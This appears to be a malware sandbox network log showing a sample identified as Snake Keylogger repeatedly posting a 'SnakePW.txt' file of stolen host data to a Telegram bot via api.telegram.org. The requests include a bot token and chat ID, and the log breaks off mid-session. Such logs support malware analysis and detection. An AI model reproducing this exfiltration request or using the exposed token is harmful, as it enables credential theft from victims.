Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.5	50170	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:29 UTC	435	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575716bfaf36 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:29 UTC	436	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 36 62 66 61 66 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575716bfaf36Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:30 UTC	436	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:30 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:30 UTC	436	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67042,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228870,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.5	50171	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:30 UTC	437	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575716f42491 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:30 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 36 66 34 32 34 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575716f42491Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:30 UTC	438	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:30 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:30 UTC	438	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67043,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228870,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49794	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:49 UTC	43	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756daa3ba90 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:49 UTC	44	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 61 61 33 62 61 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756daa3ba90Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:49 UTC	44	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:49 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:49 UTC	45	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66773,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228769,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.5	50174	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:30 UTC	439	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575717322199 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:30 UTC	439	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 37 33 32 32 31 39 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575717322199Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:31 UTC	439	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:31 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:31 UTC	440	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67044,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228871,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.5	50177	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:31 UTC	440	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575717964394 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:31 UTC	441	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 37 39 36 34 33 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575717964394Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:31 UTC	441	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:31 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:31 UTC	441	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67045,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228871,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.5	50180	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:31 UTC	442	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575717d1de33 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:31 UTC	442	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 37 64 31 64 65 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575717d1de33Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:32 UTC	443	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:31 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:32 UTC	443	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67046,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228871,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.5	50183	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:32 UTC	444	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757180fda9c Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:32 UTC	444	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 38 30 66 64 61 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757180fda9cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:32 UTC	444	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:32 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:32 UTC	445	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67047,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228872,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.5	50185	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:32 UTC	445	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757184b76f0 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:32 UTC	446	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 38 34 62 37 36 66 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: 